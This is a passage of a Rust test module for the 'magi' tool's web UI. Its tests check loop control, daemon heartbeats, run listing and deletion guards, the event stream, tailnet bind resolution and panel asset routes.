6160        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6161        assert_eq!(twice.status, 200, "{}", twice.body);
6162    }
6163
6164    #[tokio::test]
6165    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6166        let f = Fixture::start().await;
6167        // How the operator has been doing it: a `magi serve` of their own,
6168        // heartbeat fresh, in the same home this UI reads.
6169        write_daemon(f.home.path(), Timestamp::now());
6170
6171        let view = f.get("/api/loop").await.json();
6172        assert_eq!(view["running"], false, "not in this process: {view}");
6173        assert_eq!(view["owned"], false, "and not this process's to control");
6174        assert_eq!(
6175            view["daemon"]["running"], true,
6176            "but a loop is alive somewhere, which is what the UI must say"
6177        );
6178        assert_eq!(view["daemon"]["pid"], 4242);
6179
6180        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6181            let res = f.post("/api/loop", Some(body)).await;
6182            assert_eq!(
6183                res.status, 409,
6184                "neither button may pretend to work on someone else's loop: {}",
6185                res.body
6186            );
6187            assert!(
6188                res.json()["error"]
6189                    .as_str()
6190                    .is_some_and(|e| e.contains("4242")),
6191                "the refusal has to name the process the operator must go to: {}",
6192                res.body
6193            );
6194        }
6195        assert_eq!(
6196            f.get("/api/loop").await.json()["running"],
6197            false,
6198            "and the refusal started nothing"
6199        );
6200    }
6201
6202    #[tokio::test]
6203    async fn a_stale_status_file_is_not_a_foreign_owner() {
6204        let f = Fixture::start().await;
6205        write_daemon(
6206            f.home.path(),
6207            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6208        );
6209
6210        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6211        assert_eq!(
6212            res.status, 200,
6213            "a daemon killed a minute ago must not lock the loop out of its \
6214             own home for good: {}",
6215            res.body
6216        );
6217        assert_eq!(res.json()["running"], true);
6218
6219        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6220    }
6221
6222    #[tokio::test]
6223    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6224        let f = Fixture::start().await;
6225        let before = f.get("/api/health").await.json()["loop_rev"]
6226            .as_u64()
6227            .expect("a loop revision");
6228
6229        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6230
6231        let after = f.get("/api/health").await.json()["loop_rev"]
6232            .as_u64()
6233            .expect("a loop revision");
6234        assert!(
6235            after > before,
6236            "the loop is in-process state, so this counter is the only thing \
6237             that tells a second device the first one started it: {before} -> \
6238             {after}"
6239        );
6240
6241        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6242    }
6243
6244    #[tokio::test]
6245    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6246        let f = Fixture::with_loop(launch_broken).await;
6247
6248        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6249        assert_eq!(
6250            res.status, 200,
6251            "starting it is not the failure: {}",
6252            res.body
6253        );
6254
6255        let view = settled(&f, |v| v["last_error"].is_string()).await;
6256        assert_eq!(
6257            view["running"], false,
6258            "a loop that died must not read as running, or the operator has \
6259             nothing to press: {view}"
6260        );
6261        assert_eq!(view["owned"], false);
6262        assert!(
6263            view["last_error"]
6264                .as_str()
6265                .is_some_and(|e| e.contains("read-only file system")),
6266            "the phone is where a loop that died at 3am is visible: {view}"
6267        );
6268
6269        // And it can be started again: the corpse was reaped, not left to
6270        // occupy the slot.
6271        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6272        assert_eq!(again.status, 200, "{}", again.body);
6273        assert_eq!(
6274            again.json()["last_error"],
6275            Value::Null,
6276            "a fresh start does not keep showing why the last one died"
6277        );
6278    }
6279
6280    /// An upgrade parks the run in flight before it restarts, and a park waits
6281    /// for the node - up to `timeout_implement`, an hour by default. The deck
6282    /// has to answer for all of it: the operator has just been told a run is
6283    /// finishing first, and this address is the only place that says how it is
6284    /// going. It did not, once - the listener went with the `select!` arm that
6285    /// began the handover, and the phone got `Cannot reach magi: Failed to
6286    /// fetch` for the rest of the wave.
6287    ///
6288    /// The other half is the older rule: the address must be free *before* the
6289    /// successor is started, or it dies on "address already in use" with its
6290    /// stdio sent to null and the deck never comes back.
6291    #[tokio::test]
6292    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6293        let home = TempDir::new().expect("temp home");
6294        let runs = home.path().join("runs");
6295        std::fs::create_dir_all(&runs).expect("runs dir");
6296        let ui = Ui::new(
6297            Queue::at(home.path().join("queue")),
6298            Questions::at(home.path().join("questions")),
6299            Talks::at(home.path().join("talks")),
6300            runs,
6301            home.path().to_path_buf(),
6302            PathBuf::from("/repo/magi"),
6303        )
6304        .with_worktrees_root(home.path().join("wt"))
6305        .with_launch(launch_knocking_on_the_way_out);
6306        let looping = ui.looping();
6307        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6308            .await
6309            .expect("bind loopback");
6310        let addr = listener.local_addr().expect("local addr");
6311        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6312        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6313
6314        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6315        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6316
6317        // The successor's whole job, and the one thing it cannot do while this
6318        // process still holds the socket.
6319        let bound = std::sync::Mutex::new(None);
6320        hand_over(home.path(), &looping, served, || {
6321            let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6322            *bound.lock().expect("bound") = Some(attempt);
6323            Ok(())
6324        })
6325        .await
6326        .expect("hand over");
6327
6328        assert_eq!(
6329            *PARK_HEARD.lock().expect("park heard"),
6330            Some(200),
6331            "the deck must answer while the loop is parking"
6332        );
6333        let attempt = bound
6334            .lock()
6335            .expect("bound")
6336            .take()
6337            .expect("the successor was started");
6338        assert!(
6339            attempt.is_ok(),
6340            "and the address must be free by the time it is: {attempt:?}"
6341        );
6342    }
6343
6344    #[tokio::test]
6345    async fn a_newer_daemon_status_file_still_renders() {
6346        let f = Fixture::start().await;
6347        // A field this build has never heard of must not turn the status line
6348        // into a 500; that is the whole reason the reader is permissive.
6349        std::fs::write(
6350            f.home.path().join("daemon.json"),
6351            serde_json::json!({
6352                "schema": 2,
6353                "updated_at": Timestamp::now().to_string(),
6354                "idle": true,
6355                "surprise": { "nested": [1, 2, 3] },
6356            })
6357            .to_string(),
6358        )
6359        .expect("write daemon.json");
6360
6361        let health = f.get("/api/health").await;
6362
6363        assert_eq!(health.status, 200);
6364        assert_eq!(health.json()["daemon"]["running"], true);
6365    }
6366
6367    #[tokio::test]
6368    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6369        let f = Fixture::start().await;
6370        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6371        let broken = f.runs().join("20260902-140502-bad");
6372        std::fs::create_dir_all(&broken).expect("run dir");
6373        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6374
6375        let list = f.get("/api/runs").await;
6376        let detail = f.get("/api/runs/20260902-140502-bad").await;
6377
6378        assert_eq!(list.status, 200);
6379        let listed = list.json();
6380        let ids: Vec<&str> = listed
6381            .as_array()
6382            .expect("an array")
6383            .iter()
6384            .map(|r| r["id"].as_str().expect("an id"))
6385            .collect();
6386        assert_eq!(
6387            ids,
6388            vec!["20260902-140501-good"],
6389            "one unreadable run must not cost the operator the whole history"
6390        );
6391        assert_eq!(detail.status, 500);
6392        assert!(
6393            detail.json()["error"]
6394                .as_str()
6395                .is_some_and(|e| e.contains("run.json")),
6396            "the failure names the file to look at: {}",
6397            detail.body
6398        );
6399        // A skipped run has to be countable somewhere, or the UI shows an
6400        // empty history with nothing to explain it - which is exactly what a
6401        // directory full of older-schema runs looks like.
6402        let health = f.get("/api/health").await;
6403        assert_eq!(health.json()["runs_unreadable"], 1);
6404    }
6405
6406    #[tokio::test]
6407    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6408        let f = Fixture::start().await;
6409        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6410
6411        let summary = f.get("/api/runs").await.json();
6412        let row = &summary[0];
6413        assert_eq!(row["short"], "a1b2");
6414        assert_eq!(row["status"], "ready");
6415        assert_eq!(row["done"], true);
6416        assert_eq!(row["title"], "Add a web UI");
6417        assert_eq!(row["repo_name"], "magi");
6418        assert_eq!(row["judges"], 3);
6419        assert_eq!(row["winner"], Value::Null);
6420        assert_eq!(row["reviews"], 0);
6421
6422        // The short id resolves, and the detail route is the state itself, not
6423        // a projection of it: the UI reads fields the summary does not carry.
6424        let detail = f.get("/api/runs/a1b2").await;
6425        assert_eq!(detail.status, 200);
6426        assert_eq!(detail.json()["base_branch"], "main");
6427        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6428    }
6429
6430    /// `RunState::active` is only ever cleared by whoever populated it, so the
6431    /// detail route also has to say whether a daemon is actually still
6432    /// driving this run right now — otherwise a seat from a killed process's
6433    /// last wave would read as live forever.
6434    #[tokio::test]
6435    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6436        let f = Fixture::start().await;
6437        // Matches `write_daemon`'s hard-coded `current.run`, so the second
6438        // half of this test can claim the daemon is working on it without a
6439        // second helper.
6440        let id = "20260902-140502-bbbb";
6441        let mut state = RunState::new(
6442            PathBuf::from("/repo/magi"),
6443            "main".to_owned(),
6444            "0123456789abcdef".to_owned(),
6445            "Add a web UI".to_owned(),
6446            Config::default(),
6447        );
6448        state.id = id.to_owned();
6449        state.status = RunStatus::Judging;
6450        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6451        let dir = f.runs().join(id);
6452        std::fs::create_dir_all(&dir).expect("run dir");
6453        std::fs::write(
6454            dir.join("run.json"),
6455            serde_json::to_string_pretty(&state).expect("serialize run"),
6456        )
6457        .expect("write run.json");
6458
6459        // No daemon.json at all: the entry cannot be told from a leftover, so
6460        // the route must say so rather than let the phone assume it is live.
6461        let cold = f.get(&format!("/api/runs/{id}")).await.json();
6462        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6463        assert_eq!(cold["live"], false, "{cold}");
6464
6465        // A fresh heartbeat naming exactly this run: the same entry now reads
6466        // as confirmed, not merely recorded.
6467        write_daemon(f.home.path(), Timestamp::now());
6468        let warm = f.get(&format!("/api/runs/{id}")).await.json();
6469        assert_eq!(warm["live"], true, "{warm}");
6470    }
6471
6472    #[tokio::test]
6473    async fn the_run_list_is_newest_first_and_honours_a_limit() {
6474        let f = Fixture::start().await;
6475        for id in [
6476            "20260902-140501-aaaa",
6477            "20260902-140502-bbbb",
6478            "20260902-140503-cccc",
6479        ] {
6480            write_run(&f.runs(), id, RunStatus::Merged);
6481        }
6482
6483        let all = f.get("/api/runs").await.json();
6484        let capped = f.get("/api/runs?limit=2").await.json();
6485
6486        assert_eq!(all[0]["id"], "20260902-140503-cccc");
6487        assert_eq!(all.as_array().map(Vec::len), Some(3));
6488        assert_eq!(capped.as_array().map(Vec::len), Some(2));
6489        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6490    }
6491
6492    #[tokio::test]
6493    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6494        let f = Fixture::start().await;
6495        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6496
6497        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6498
6499        assert_eq!(res.status, 200);
6500        assert!(
6501            res.headers
6502                .contains("content-type: text/plain; charset=utf-8"),
6503            "a browser must render it, not download it: {}",
6504            res.headers
6505        );
6506        // The assertion is on content, not on the absence of escapes: colour
6507        // is a process-global that `serve` turns off at startup, and another
6508        // test in this binary may own it while this one runs.
6509        assert!(
6510            res.body.contains("20260902-140501-a1b2"),
6511            "the report is about the run that was asked for: {}",
6512            res.body
6513        );
6514    }
6515
6516    #[tokio::test]
6517    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6518        let f = Fixture::start().await;
6519
6520        let html = f.get("/").await;
6521        let css = f.get("/app.css").await;
6522        let js = f.get("/app.js").await;
6523
6524        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6525        assert!(
6526            html.headers
6527                .contains("content-type: text/html; charset=utf-8")
6528        );
6529        assert!(css.headers.contains("content-type: text/css"));
6530        assert!(js.headers.contains("content-type: text/javascript"));
6531        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6532    }
6533
6534    #[test]
6535    fn review_rounds_label_a_distinct_verified_head() {
6536        assert!(APP_JS.contains("round.verified_head"));
6537        assert!(APP_JS.contains("verified HEAD"));
6538        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
6539    }
6540
6541    #[tokio::test]
6542    async fn the_change_stream_announces_the_current_revisions_on_connect() {
6543        let f = Fixture::start().await;
6544
6545        let mut socket = tokio::net::TcpStream::connect(f.addr)
6546            .await
6547            .expect("connect");
6548        socket
6549            .write_all(
6550                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6551            )
6552            .await
6553            .expect("write request");
6554
6555        // Read until the first event arrives rather than to end of stream: the
6556        // stream is endless by design, which is the point of the route.
6557        let mut seen = String::new();
6558        let mut buf = [0u8; 1024];
6559        while !seen.contains("event: change") {
6560            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
6561                .await
6562                .expect("the stream must speak within five seconds")
6563                .expect("read");
6564            assert!(read > 0, "the server closed the change stream: {seen}");
6565            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
6566        }
6567
6568        assert!(
6569            seen.to_lowercase()
6570                .contains("content-type: text/event-stream"),
6571            "the browser only reconnects automatically for a real SSE stream: {seen}"
6572        );
6573        let data = seen
6574            .lines()
6575            .find_map(|l| l.strip_prefix("data:"))
6576            .expect("a data line");
6577        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
6578        assert!(
6579            payload["queue_rev"].is_u64()
6580                && payload["runs_rev"].is_u64()
6581                && payload["questions_rev"].is_u64()
6582                && payload["talks_rev"].is_u64()
6583                && payload["loop_rev"].is_u64(),
6584            "the client needs one revision per store to know what to refetch, \
6585             and `talks_rev` is the only notification a standing talk gets - a \
6586             phone whose radio slept through a turn learns about it here, as \
6587             does one whose operator started the loop from another device: \
6588             {payload}"
6589        );
6590
6591        // The front end re-polls health on a timer and on wake, and takes the
6592        // revisions from that answer whenever the stream is not up. So health
6593        // has to carry every key the stream carries: a phone on a link that
6594        // will not hold an SSE connection is exactly the phone that must still
6595        // notice a question, and a missing key there is not a 500 but a UI
6596        // that quietly stops updating.
6597        let health = f.get("/api/health").await.json();
6598        for key in [
6599            "queue_rev",
6600            "runs_rev",
6601            "questions_rev",
6602            "talks_rev",
6603            "loop_rev",
6604        ] {
6605            assert!(
6606                health[key].is_u64(),
6607                "health is the change stream's fallback and is missing `{key}`: {health}"
6608            );
6609        }
6610    }
6611
6612    #[tokio::test]
6613    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
6614        let f = Fixture::start().await;
6615        let before = f.get("/api/health").await.json()["talks_rev"]
6616            .as_u64()
6617            .expect("talks_rev");
6618
6619        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
6620        std::thread::sleep(Duration::from_millis(10));
6621        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
6622        on_disk.turns.push(crate::talk::Turn {
6623            who: crate::talk::Who::Operator,
6624            body: "a new turn".to_owned(),
6625            at: Timestamp::now(),
6626            attachments: Vec::new(),
6627        });
6628        f.talks().put(&mut on_disk).expect("record a turn");
6629
6630        let after = f.get("/api/health").await.json()["talks_rev"]
6631            .as_u64()
6632            .expect("talks_rev");
6633        assert_ne!(
6634            before, after,
6635            "a phone must be able to notice a talk's reply without polling every store"
6636        );
6637    }
6638
6639    #[test]
6640    fn bind_reads_back_from_the_spelling_the_cli_prints() {
6641        // The CLI shows the default in `--help` and parses whatever comes
6642        // back, so the two directions have to agree or `--bind auto` breaks
6643        // the moment someone copies the help text.
6644        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
6645            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
6646        }
6647        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
6648        assert!("everywhere".parse::<Bind>().is_err());
6649    }
6650
6651    #[test]
6652    fn an_explicit_bind_address_is_taken_verbatim() {
6653        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
6654
6655        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
6656
6657        assert_eq!(addr, asked);
6658        assert!(
6659            warning.is_none(),
6660            "an operator who named an address gets no lecture"
6661        );
6662    }
6663
6664    #[test]
6665    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
6666        let (addr, warning) = resolve_bind(&Bind::Auto);
6667
6668        // This has to hold on a CI runner with no `tailscale` and on a dev box
6669        // with one, so the invariant asserted is the one shared by both
6670        // outcomes: the address is either a real tailnet address offered
6671        // without comment, or loopback with an explanation. What must never
6672        // happen is a silent fallback - an operator told "listening on
6673        // 127.0.0.1" with no reason would go looking for a firewall.
6674        match addr {
6675            IpAddr::V4(ip) if is_tailnet(&ip) => {
6676                assert!(warning.is_none(), "a tailnet address needs no warning");
6677            }
6678            other => {
6679                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
6680                let warning = warning.expect("a fallback has to explain itself");
6681                assert!(
6682                    warning.contains("127.0.0.1") && warning.contains("local-only"),
6683                    "the warning says what happened and what it costs: {warning}"
6684                );
6685            }
6686        }
6687    }
6688
6689    #[test]
6690    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
6691        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
6692        // boundary cases are what stop us binding to some other tool's idea of
6693        // an address.
6694        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
6695        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
6696        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
6697        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
6698        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
6699    }
6700
6701    #[test]
6702    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
6703        let ids = vec![
6704            "20260902-140501-aaaa".to_owned(),
6705            "20260902-140502-aabb".to_owned(),
6706        ];
6707
6708        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
6709        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
6710        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
6711
6712        assert_eq!(missing.status, StatusCode::NOT_FOUND);
6713        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
6714        assert_eq!(short, "20260902-140502-aabb");
6715    }
6716    #[tokio::test]
6717    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
6718        // The prompt tells agents to reference attachments by bare filename.
6719        // A document served at `.../panel` resolves `shot.png` against its own
6720        // directory, i.e. `.../shot.png`, which is not the asset route - so a
6721        // panel written exactly as instructed showed broken images. Caught by
6722        // looking at a real one in a browser, not by reading the code.
6723        let fx = Fixture::start().await;
6724        let id = panel(
6725            &fx,
6726            "<img src=\"shot.png\">",
6727            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
6728        );
6729
6730        // The frame's own URL ends in a filename, so its siblings are reachable.
6731        let doc = fx
6732            .get(&format!("/api/questions/{id}/panel/index.html"))
6733            .await;
6734        assert_eq!(doc.status, 200, "{}", doc.body);
6735        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
6736
6737        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
6738        assert_eq!(sibling.status, 200, "{}", sibling.body);
6739        assert_eq!(sibling.header("content-type"), Some("image/png"));
6740        assert_eq!(
6741            sibling.header("content-security-policy"),
6742            Some(PANEL_CSP),
6743            "the sibling route must carry the same policy as the asset route"
6744        );
6745
6746        // The original spelling keeps working: HEAD on it is how the front end
6747        // decides whether to mount a frame at all.
6748        assert_eq!(
6749            fx.head(&format!("/api/questions/{id}/panel")).await.status,
6750            200
6751        );
6752    }
6753
6754    #[test]
6755    fn runs_revision_moves_when_deleting_an_older_run() {
6756        let temp = TempDir::new().expect("tempdir");
6757        let runs = temp.path().join("runs");
6758        std::fs::create_dir_all(&runs).expect("create runs dir");
6759
6760        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
6761
6762        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
6763        std::thread::sleep(Duration::from_millis(10));
6764        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
6765
6766        let rev_before = runs_revision(&runs);
6767        assert!(rev_before > 0);
6768
6769        let old_dir = runs.join("20260901-100000-old1");
6770        std::fs::remove_dir_all(&old_dir).expect("remove old run");
6771
6772        let rev_after = runs_revision(&runs);
6773        assert_ne!(
6774            rev_before, rev_after,
6775            "deleting an older run must change the revision so other clients see the deletion"
6776        );
6777    }
6778
6779    /// A run's own `run.json` on an explicit `runs` root, bypassing the
6780    /// process-global home entirely — `RunState::save` writes through
6781    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
6782    /// (see `tests::home_lock` in the integration suite for why).
6783    fn write_state(runs: &FsPath, state: &RunState) {
6784        let dir = runs.join(&state.id);
6785        std::fs::create_dir_all(&dir).expect("run dir");
6786        std::fs::write(
6787            dir.join("run.json"),
6788            serde_json::to_string_pretty(state).expect("serialize run"),
6789        )
6790        .expect("write run.json");
6791    }
6792
6793    /// A seat starting or finishing is a write to `run.json` like any other,
6794    /// so it moves the same revision the change stream already watches —
6795    /// nothing new for `/api/events` to learn, but the property this feature
6796    /// depends on to reach the phone without a poll.
6797    #[test]
6798    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
6799        let temp = TempDir::new().expect("tempdir");
6800        let runs = temp.path().join("runs");
6801        std::fs::create_dir_all(&runs).expect("create runs dir");
6802        let mut state = RunState::new(
6803            PathBuf::from("/repo/magi"),
6804            "main".to_owned(),
6805            "0123456789abcdef".to_owned(),
6806            "task".to_owned(),
6807            Config::default(),
6808        );
6809        state.id = "20260902-100000-c0de".to_owned();
6810        write_state(&runs, &state);
6811
6812        let rev_idle = runs_revision(&runs);
6813        std::thread::sleep(Duration::from_millis(10));
6814        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
6815        write_state(&runs, &state);
6816        let rev_started = runs_revision(&runs);
6817        assert_ne!(
6818            rev_idle, rev_started,
6819            "a seat starting must move the revision"
6820        );
6821
6822        std::thread::sleep(Duration::from_millis(10));
6823        state.seat_finished("judge-1");
6824        write_state(&runs, &state);
6825        let rev_finished = runs_revision(&runs);
6826        assert_ne!(
6827            rev_started, rev_finished,
6828            "and clearing it again must move the revision a second time"
6829        );
6830    }
6831
6832    #[tokio::test]
6833    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
6834        let fx = Fixture::start().await;
6835        let q = fx.queue();
6836
6837        // 1. A queued task with runs attached can be deleted.
6838        let mut t1 = Task::new(
6839            "Task 1".to_owned(),
6840            "Instruction 1".to_owned(),
6841            PathBuf::from("/repo"),
6842            Source::Human,
6843        );
6844        let run_id = "20260901-000000-r111";
6845        t1.runs.push(run_id.to_owned());
6846        write_run(&fx.runs(), run_id, RunStatus::Merged);
6847        q.put(&mut t1).expect("put t1");
6848
6849        // Delete by short id
6850        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
6851        assert_eq!(res.status, 204);
6852        assert!(res.body.is_empty(), "204 No Content has no body");
6853        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
6854        assert!(
6855            fx.runs().join(run_id).exists(),
6856            "run directory must not be deleted when its task is deleted"
6857        );
6858
6859        // 2. A task a live daemon is running is refused with 409.
6860        let mut t2 = Task::new(
6861            "Task 2".to_owned(),
6862            "Instruction 2".to_owned(),
6863            PathBuf::from("/repo"),
6864            Source::Human,
6865        );
6866        t2.status = TaskStatus::Running;
6867        q.put(&mut t2).expect("put t2");
6868        let mut beat = crate::daemon::Status::new();
6869        beat.current = vec![crate::daemon::Current {
6870            task: t2.id.clone(),
6871            run: "20260901-000000-r222".to_owned(),
6872        }];
6873        beat.updated_at = jiff::Timestamp::now();
6874        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6875            .expect("publish a heartbeat");
6876        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6877        assert_eq!(res.status, 409);
6878        assert!(
6879            res.json()["error"]
6880                .as_str()
6881                .unwrap()
6882                .contains("live daemon")
6883        );
6884        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6885
6886        // 3. The same `running` status and an orphaned lock, with no daemon
6887        // behind either, is a leftover and deletable. Before this the phone
6888        // refused it for good: the status never changes on its own and
6889        // nothing drops a lock whose process is gone.
6890        // The daemon is killed: the file stays, the heartbeat stops.
6891        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6892        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6893            .expect("leave a stale heartbeat");
6894        let mut t3 = Task::new(
6895            "Task 3".to_owned(),
6896            "Instruction 3".to_owned(),
6897            PathBuf::from("/repo"),
6898            Source::Human,
6899        );
6900        t3.status = TaskStatus::Running;
6901        q.put(&mut t3).expect("put t3");
6902        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6903        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6904        assert_eq!(res.status, 204);
6905        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6906        assert!(
6907            q.claim(&t3.id).is_ok(),
6908            "the stale lock went with it, so the id is claimable again"
6909        );
6910
6911        // 4. Missing id returns 404
6912        let res = fx.delete("/api/queue/nonexistent").await;
6913        assert_eq!(res.status, 404);
6914    }
6915
6916    #[tokio::test]
6917    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6918        let fx = Fixture::start().await;
6919        let runs = fx.runs();
6920
6921        // 1. Finished and folded run can be deleted along with artifacts
6922        let run_id = "20260901-000000-fold";
6923        let mut state = RunState::new(
6924            PathBuf::from("/repo"),
6925            "main".to_owned(),
6926            "abc".to_owned(),
6927            "instruction".to_owned(),
6928            Config::default(),
6929        );
6930        state.id = run_id.to_owned();
6931        state.status = RunStatus::Merged;
6932        state.candidates.push(crate::run::Candidate {
6933            index: 0,
6934            label: 'A',
6935            agent: "a".to_owned(),
6936            branch: "b".to_owned(),
6937            worktree: PathBuf::from("/w"),
6938            summary: String::new(),
6939            stat: String::new(),
6940            files: 1,
6941            commits: 1,
6942            empty: false,
6943            failed: None,
6944            duration_ms: 0,
6945            folded: true,
6946        });
6947        let dir = runs.join(run_id);
6948        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6949        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6950            .expect("write artifact");
6951        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6952            .expect("write run.json");
6953
6954        // Delete by short id
6955        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6956        assert_eq!(res.status, 204);
6957        assert!(res.body.is_empty(), "204 has no body");
6958        assert!(!dir.exists(), "run directory and artifacts must be deleted");
6959
6960        // 2. A run a live daemon is working on is refused with 409. The
6961        // heartbeat is what makes it refusable: an unfinished run with no
6962        // daemon behind it is a leftover from a killed process, and case 1
6963        // above would otherwise be impossible to tell apart from this one.
6964        let run_running = "20260901-000000-rung";
6965        write_run(&runs, run_running, RunStatus::Prep);
6966        let mut beat = crate::daemon::Status::new();
6967        beat.current = vec![crate::daemon::Current {
6968            task: "20260901-000000-task".to_owned(),
6969            run: run_running.to_owned(),
6970        }];
6971        beat.updated_at = jiff::Timestamp::now();
6972        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6973            .expect("publish a heartbeat");
6974        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6975        assert_eq!(res.status, 409);
6976        assert!(
6977            res.json()["error"]
6978                .as_str()
6979                .unwrap()
6980                .contains("live daemon"),
6981            "the refusal must say who is holding it"
6982        );
6983        assert!(
6984            runs.join(run_running).exists(),
6985            "a run in flight keeps its directory"
6986        );
6987
6988        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
6989        let run_unfolded = "20260901-000000-unfd";
6990        let mut state2 = RunState::new(
6991            PathBuf::from("/repo"),
6992            "main".to_owned(),
6993            "abc".to_owned(),
6994            "instruction".to_owned(),
6995            Config::default(),
6996        );
6997        state2.id = run_unfolded.to_owned();
6998        state2.status = RunStatus::Ready;
6999        state2.candidates.push(crate::run::Candidate {
7000            index: 0,
7001            label: 'A',
7002            agent: "a".to_owned(),
7003            branch: "b".to_owned(),
7004            worktree: PathBuf::from("/w"),
7005            summary: String::new(),
7006            stat: String::new(),
7007            files: 1,
7008            commits: 1,
7009            empty: false,
7010            failed: None,
7011            duration_ms: 0,
7012            folded: false,
7013        });
7014        let dir2 = runs.join(run_unfolded);
7015        std::fs::create_dir_all(&dir2).expect("create dir2");
7016        std::fs::write(
7017            dir2.join("run.json"),
7018            serde_json::to_string(&state2).unwrap(),
7019        )
7020        .expect("write run.json");
7021
7022        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7023        assert_eq!(res.status, 409);
7024        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7025        assert!(dir2.exists(), "unfolded run directory is kept");
7026
7027        // 4. Missing id returns 404
7028        let res = fx.delete("/api/runs/nonexistent").await;
7029        assert_eq!(res.status, 404);
7030    }
7031
7032    #[test]
7033    fn web_ui_delete_contract_in_front_end() {
7034        // 1. API block has both delete endpoints
7035        assert!(APP_JS.contains("deleteRun:"));
